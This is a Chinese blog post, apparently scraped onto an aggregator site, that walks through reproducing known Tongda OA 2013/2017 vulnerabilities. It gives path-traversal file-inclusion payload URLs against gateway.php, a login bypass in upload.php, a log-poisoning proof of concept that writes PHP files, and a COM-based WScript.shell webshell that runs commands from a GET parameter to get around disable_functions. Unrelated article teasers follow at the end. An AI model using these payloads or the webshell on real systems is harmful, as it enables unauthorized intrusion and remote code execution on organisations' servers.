通达oa 2013 php解密,通达OA漏洞学习 - 安全先师的个人空间 - OSCHINA - 中文开源技术交流社区...

47e6aab5c74aab532a2ad7f5aaaaf36a.gif

说明

通达OA漏洞在去年上半年已爆出,这不趁着周末没事做,将源码下载下来进行复现学习。

文件包含测试

文件包含检测,payload1:

ip/ispirit/interface/gateway.php?json={"url":"/general/../../mysql5/my.ini"}

利用文件包含访问mysql.ini,检查是否有某些特定字符串 ,比如innodb_log_group_home_dir

6f028d7dabbe5faef07d6a6a23ba1330.png

payload2:

ip/ispirit/interface/gateway.php?json={}&url=/general/../../nginx/logs/oa.access.log

利用文件包含访问OA日志

dac70d4ade98f325ee1ecae143730eb5.png

复现

源码下载

链接:https://pan.baidu.com/s/1HP5pDsAK2QLOWpnB1JX-Yg提取码:vab0

是个exe,安装解压完是php代码。用Sublime打开,都是16进制加密

f3bac2dd2e0c7d11ef1be730d48ddc1b.png

用notepad打开显示,zend加密,

561564c51526362700a5c3ccaab4b39a.png

php在线解密网站:http://dezend.qiling.org/free.html

解密出源代码。

文件上传

ispirit/im/upload.php

要上传首先需要绕过登陆验证,在本系统中auth.php是登陆验证的相关逻辑,但在upload.php未修复前,如果$P非空就不需要经过auth.php验证即可执行后续代码。利用此处逻辑漏洞可绕过登陆验证直接上传文件。

712d9a14d8b79058f954314db2e98bb8.png

经过下载源码测试,上传后的文件在MYOA/attach/im/2003/目录下。因上传后的文件不在根目录,所以无法直接利用,因此需要进行文件包含。

02c23804469cad3f060ea4e9782ab9f4.png

文件包含

6bbf3c07d2185dc0f7735c2e25d1cdae.png

与上传相反,这里不传P参数就可以文件包含。未修复前,可通过精心构造json进入47行的includ_once进行文件包含。官方在补丁中过滤了 ,防止用户读取其他目录文件。

POC

poc有很多,其一,首先构造url并访问,在日志中写入一句话,原理是OA默认会将访问url,agent写日志。

/ispirit/interface/gateway.php?json={}&a=<?php  file_put_contents('1.php','hello123');?>

先在浏览器访问,

71bdd57bd768a86bc53f99f2ca52d354.png

发现"

cbbfcaea8a83cf4701461fc8f575cd69.png

用burp重新发包。

e21786b9dbc6f88594f81268c82ef182.png

成功写入日志。(写日志的方式省去了上传)

36e36828a8cd8481b85ca61c78513bd5.png

文件包含

2c864521c8f6296a13e6470222a955cb.png

如果php poc 为<?php file_put_contents('1.php','hello123');?>

则上传到 存在漏洞文件 gateway.php 同级目录,如果php poc为<?php file_put_contents('../1.php','hello123');?>,则上传到 上一级目录 ispirit 目录下。注意路径。

exp

通过 upload.php 上传一个文件,可自定义后缀名。经过下载源码测试,上传后的文件在MYOA/attach/im/2003/目录下。

思路一:

上传一个写shell的php文件,在利用文件包含写shell。

具体见exp.py。

思路二:

执行cmd,

MYOA/bin/ 目录下的 php.ini 禁用了一些执行,命令的函数。

disable_functions = exec,shell_exec,system,passthru,proc_open,show_source,phpinfodisable_classes =

参考

使用com组件绕过disable_functionshttps://www.cnblogs.com/-qing-/p/10944118.html

eg:

<?php $command=$_GET['a'];$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>

这里写的exp总是将post数据自动url编码。达不到burp的效果。

8cce962ef7d813d0340e6d9489734a17.png

a3fc6ca99b71dfd00bdcfa4966c0cb8e.png

需要先设置一次请求头setHeader("Content-Type", "application/x-www-form-urlencoded")再将数据拼接成string格式再进行发送 ,终于写成了exp2.py。

版本路径

不同环境路径不同。

例如2013:/ispirit/im/upload.php/ispirit/interface/gateway.php例如2017:/ispirit/im/upload.php/mac/gateway.php

后记

一些趣事,正常该用post包含的。

e6c5007dde0df47d3dbded2f8ef34f53.png

get包含就很玄学了。正常get请求(不空行)是不行的,在浏览器GET请求也是不能包含的。

ae897ece66356e0eda35b2af289cc59d.png

注意看我光标位置。必须空出来一行,否则不成功。get无请求体,不知道是什么原因。

c4183fa1a10ccb4726b72c3a8dcbe88b.png

空两行试试

b9291746596dbe330c14e0d4711925c0.png

发包,Content-Length都有了,可真牛啊。

9449bd84c682b0d1ee725889fbe7ea12.png

wireshark抓个包,get没请求体呀。见strange-get-include.pcap。

26f7cee8c2013788b9ba4b89e6462716.png

往期精彩

753a11436688cb6241bb6f91c65ba10e.png

感兴趣的可以点个关注!!!

关注「安全先师」

把握前沿安全脉搏

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/542540.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

温赵轮 访谈

“温赵轮”三大软狗&#xff0c;你听说过吗&#xff1f;今天的1024访谈录给大家介绍的就是程序员中当之无愧的偶像组合——温赵轮。 Winter寒冬。阿里P8&#xff0c;正在向P9的道路上奔跑。传说中的他有钱、出身好&#xff0c;可不是搞互联网的屌丝程序员。 老赵&#xff0c;…

linux开源文档管理系统_Linux中的系统管理员问题 免费和开源软件

linux开源文档管理系统根帐号 (Root Account) The "root" account is the most unrestrictive account on a Linux Operating system. This account enables you to complete all features of System admin, including accounts, changing client passwords, looking…

matlab上机实验1,上机实验1:熟悉matlab基本操作

其中 x 在 [-2, 2] 间共等切分为 21 点&#xff0c;y 在 [-1, 1] 间共等切分为 21 点&#xff0c;所以此曲面共有 21*21441 个点。a. 请用预设的颜色对应表(Colormap)来画出此曲面。 b. 请以曲面的斜率来设定曲面的颜色。 c. 请以曲面的曲率来设定曲面的颜色。2. 请用 meshc 指…

公众号 -「前端攻略 开光篇」

作为一枚程序员&#xff0c;每件重要项目的开始都忍不住使用"Hello World"。 这个公众号是不是来晚了&#xff1f;如果你有这个疑问&#xff0c;那么我想说&#xff1a;对于写作和思考&#xff0c;任何时候都不晚。我用四个简单的自问自答&#xff0c;来讲讲这个前端…

python 桌面应用 启动缓慢_如何加快Python 应用的启动时间

我听说pipenv9.0.2已经发布&#xff0c;启动时间有了很大的改进。 我很快就试了一下&#xff0c;但我觉得并不快。所以我用Python3.7的新特性来研究它。 在本文中&#xff0c;我将介绍该特性以及如何使用它。 启动时间≒导入时间 例如&#xff0c;pipenv -h 的执行时间比显示帮…

python单词首字母大写_在Python中将每个单词的首字母大写

python单词首字母大写Here, we are implementing a python program to capitalizes the first letter of each word in a string. 在这里&#xff0c;我们正在实现一个python程序来大写字符串中每个单词的首字母。 Example: 例&#xff1a; Input: "HELLO WORLD!"O…

matlab中求模最大,matlab求取模极大值时出错

本帖最后由 Nate_ 于 2016-4-17 15:57 编辑points1024 时&#xff0c;有波形输出&#xff0c;但信号有5438个点。改为5438就不行。主程序&#xff1a;%小波模极大值重构是采用的交替投影法close all;points5438; level4; sr360; num_inter6; wfdb4;%所处理数据的…

stl向量_如何检查C ++ STL中向量中是否存在元素?

stl向量Given a vector and an element to be searched in the vector. 给定一个向量和要在向量中搜索的元素。 To check whether an elements exists in a vector or not – we use find() function. find() function takes 3 arguments. 要检查向量中是否存在元素 –我们使用…

java socket如何请求485协议_javaSE第十五部分 网络编程(1)Socket和ServerSocket

网络编程基础知识C/S结构&#xff1a;全称为Client/Server结构&#xff0c;是指客户端和服务器结构。常见程序有&#xff31;&#xff31;、迅雷等软件。B/S结构&#xff1a;全称为Browser/Server结构&#xff0c;是指浏览器和服务器结构。常见浏览器有谷歌、火狐等。两种架构各…

【分享】linux下u盘使用

2019独角兽企业重金招聘Python工程师标准>>> linux下u盘使用 方案一&#xff1a; Linux不像Windows一样&#xff0c;接上新硬件后可以自动识别&#xff0c;在Linux下无法自动识别新硬件的&#xff0c;需要手动去识别。USB移动存储设备通常被识别为sda1&#xff0c;…

kotlin中判断字符串_Kotlin程序删除字符串中所有出现的字符

kotlin中判断字符串Given a string and a character, we have to remove all occurrences of the character in given string. 给定一个字符串和一个字符&#xff0c;我们必须删除给定字符串中所有出现的字符。 Example: 例&#xff1a; Input:string "includeHelp Del…

Java9中使用jpa,jpa – eclipselink在Java 9上使用final字段进行静态编织

我有一些JPA注释字段,如下所示&#xff1a;Column(name "SOME_FIELD", updatable false, nullable false)private final String someField;当实体插入数据库时​​,这些字段存储在数据库中.它们无法进一步更新.对于Java编程语言,可以将这些字段视为final.使用Ecli…

python语言程序设计及医学应用_Python语言程序设计(高等学校计算机专业规划教材)...

第1章Python语言概述/1 1.1Python语言的发展1 1.1.1Python的起源1 1.1.2Python的发展2 1.2Python语言的特点2 1.2.1Python的特性2 1.2.2Python的缺点4 1.2.3Python与其他语言的比较5 1.3简单的Python程序介绍5 1.4Python的程序开发工具8 1.4.1Python的版本选择8 1.4.2Python的安…

swift 3.0 中使用 xib

文章写于2016年9月底&#xff0c;Xcode 8&#xff0c;swift 3.0真是蛋疼&#xff0c;折腾了很长时间&#xff0c;试了网上很多教程&#xff0c;结果又莫名的可以了&#xff01; 1.方法和OC中一样 将一个xib文件和一个ViewController类进行关联的几步操作&#xff1a; command &…

数字图像处理图像反转的实现_使用8086微处理器反转16位数字

数字图像处理图像反转的实现Problem statement: 问题陈述&#xff1a; Write an assembly language program in 8086 microprocessor to reverse 16 bit number using 8 bits operation. 在8086微处理器中编写汇编语言程序&#xff0c;以使用8位操作反转16位数字。 Example: …

php猴子找大王算法,教程方法;php实现猴子选大王问题算法实例电脑技巧-琪琪词资源网...

琪琪词资源网-教程方法;php实现猴子选大王问题算法实例电脑技巧&#xff0c;以下是给大家带来的教程方法;php实现猴子选大王问题算法实例&#xff0c;大家可以了解一下哦!下面为你介绍php实现猴子选大王问题算法实例。本文实例讲述了php实现猴子选大王问题算法。分享给大家供大…

numpy 归一化_NumPy 数据归一化、可视化

仅使用 NumPy&#xff0c;下载数据&#xff0c;归一化&#xff0c;使用 seaborn 展示数据分布。下载数据import numpy as npurl https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.datawid np.genfromtxt(url, delimiter,, dtypefloat, usecols[1])仅提取…

java虚拟机规范阅读(三)异常

Java虚拟机里面的异常使用Throwable或其子类的实例来表示&#xff0c;抛异常的本质实际上是程序控制权的一种即时的、非局部&#xff08;Nonlocal&#xff09;的转换——从异常抛出的地方转换至处理异常的地方。绝大多数的异常的产生都是由于当前线程执行的某个操作所导致的&am…

puppeteer api_使用Node.js和puppeteer API从URL创建PDF文件

puppeteer apiWe will continue using Node.js and puppeteer which is a node library. As we saw in our last article, Puppeteer is a Node library developed by Google and provides a high-level API for developers. 我们将继续使用Node.js和puppeteer(这是一个节点库)…

python线程同步锁_[python] 线程间同步之Lock RLock

为什么需要同步 同样举之前的例子&#xff0c;两个线程分别对同一个全局变量进行加减&#xff0c;得不到预期结果&#xff0c;代码如下&#xff1a; total 0 def add(): global total for i in range(1000000): total 1 def desc(): global total for i in range(1000000): t…